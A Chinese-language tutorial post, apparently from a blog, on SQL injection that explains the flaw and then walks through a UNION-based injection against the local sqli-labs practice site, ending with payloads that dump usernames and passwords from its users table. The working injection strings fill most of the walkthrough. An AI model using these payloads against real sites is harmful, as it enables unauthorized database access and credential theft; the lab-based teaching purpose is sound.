滲透測試——SQL注入

1.sql 注入原理

SQL 注入就是指 web 應用程序對用戶輸入的數據合法性沒有過濾或者是判斷,前端傳入的
參數是攻擊者可以控制,並且參數帶入數據庫的查詢,攻擊者可以通過構造惡意的 sql 語句來
實現對數據庫的任意操作。
舉例說明:
$ id=$ _get[‘id’]
$ sql=select * from users where id=$id limit 0,1

2.SQL 注入漏洞產生的條件

1):參數用戶可控:前端傳入的參數內容由用戶控制
2):參數帶入數據庫的查詢:傳入的參數拼接到 SQL 語句,並且帶入數據庫的查詢
3):對用戶輸入的數據沒有做合法性的判斷

3.SQL注入漏洞攻擊流程

1)注入點探測
自動方式:使用web漏洞掃描工具,發現注入點;
手工方式:手工構造測試語句發現注入點。
2)信息獲取
環境信息:數據庫類型,數據庫版本,操作系統版本,用戶信息等;
數據庫信息:數據庫名稱,數據庫表,字段,字段內容。
3)獲取權限
獲取操作系統權限,通過數據庫執行shell,上傳代碼。

4.SQL 注入漏洞探測方法

一般來說,SQL 注入一般存在於形如:http://xxx.xxx.xxx/abc.asp?id=XX 等帶有參數的ASP動態網頁中,有時一個動態網頁中可能只有一個參數,有時可能有 N 個參數,有時是整型參數,有時是字符串型參數,不能一概而論。總之只要是帶有參數的動態網頁並且該網頁訪問
了數據庫,那麼就有可能存在 SQL 注入。如果 ASP 程序員沒有安全意識,沒有進行必要的字符過濾,存在 SQL 注入的可能性就非常大。
在探測過程中,需要分析服務器返回的詳細錯誤信息。在默認情況下,瀏覽器僅顯示“HTTP500 服務器錯誤”,並不顯示詳細的錯誤信息。因此,需要調整瀏覽器的配置。在 IE 瀏覽器中選擇“工具”→“Internet 選項”命令,彈出“Internet 選項”對話框,選擇“高級”選項卡,
把“顯示友好 HTTP 錯誤信息”前面的勾去掉。

5.注入類型判斷

數字型:
這種類型可以使用經典的 and 1=1 和 and 1=2 來判斷:
Url 地址中輸入 www.xxx.com/abc.php?id= x and 1=1
頁面依舊運行正常,繼續進行下一步。
Url 地址中繼續輸入 www.xxx.com/abc.php?id= x and 1=2
頁面運行錯誤,則說明此 Sql 注入爲數字型注入。

字符型:
這種類型我們同樣可以使用 and ‘1’='1 和 and ‘1’=‘2來判斷:
Url 地址中輸入 www.xxx.com/abc.php?id= x’ and ‘1’=‘1
頁面運行正常,繼續進行下一步。
Url 地址中繼續輸入 www.xxx.com/abc.php?id= x’ and ‘1’='2
頁面運行錯誤,則說明此 Sql 注入爲字符型注入。

搜索型:
https://blog.csdn.net/zjdda/article/details/106446931

6.Union聯合查詢

Union 聯合、合併:將多條查詢語句的結果合併成一個結果,union 注入攻擊爲一種手工測試。
Union 聯合注入思路
1):判斷是否存在注入點
http://127.0.0.1/web/sql/union.php?id=1
1’ 異常
1 and 1=1 返回結果和 id=1 一樣
1 and 1=2 異常
從而則一定存在 SQL 注入漏洞
2):order by 1-99 語句來查詢該數據表的字段數量
Id=1 order by 1-99 來判斷字段數
3):利用獲得的列數使用聯合查詢,union select 與前面的字段數一樣
找到了數據呈現的位置
http://127.0.0.1/web/sql/union.php?id=1 union select 1,2,3,4,5,6
4):根據顯示內容確定查詢語句的位置,利用 information_schema 依次進行查詢 schemata,
tables,columns
5):已知庫名、表名和字段名,接下來就爆數據

7.聯合注入實戰

對http://127.0.0.1/sqli/Less-1/頁面進行sql注入,查詢到用戶信息
環境:sqli靶場
第一步:判斷是否存在sql注入漏洞
1.http://127.0.0.1/sqli/Less-1/?id=1’ 錯誤
2.http://127.0.0.1/sqli/Less-1/?id=1 and 1=1 返回正常結果
3.http://127.0.0.1/sqli/Less-1/?id=1 and 1=2 返回正常這裏可以判斷是字符型,那麼構造字符型注入的payload
2.http://127.0.0.1/sqli/Less-1/?id=1’ and 1=1 --+ 正常
3.http://127.0.0.1/sqli/Less-1/?id=1’ and 1=2 --+ 異常
從而可以判斷此處存在sql注入漏洞,切注入漏洞類型爲字符型
第二步:判斷數據表字段數
order by 1-99
http://127.0.0.1/sqli/Less-1/?id=1’ order by 1 --+
判斷第四個字段時報錯,說明有3個字段
在這裏插入圖片描述
第三步:判處查詢輸出的位置
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,3 --+
在這裏插入圖片描述
第四步:脫庫,爆數據庫表名 security
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,database() --+
此處以第三個字段來顯示查詢內容
在這裏插入圖片描述
第五步:爆表名 emails,referers,uagents,users
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’) --+
在這裏插入圖片描述
第六步:爆字段名 id,username,password
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’) --+
在這裏插入圖片描述
第七步:爆數據值
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,(select group_concat(id,0x3a,username,0x3a,password) from security.users) --+
在這裏插入圖片描述
這樣就拿到users表裏的數據了

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章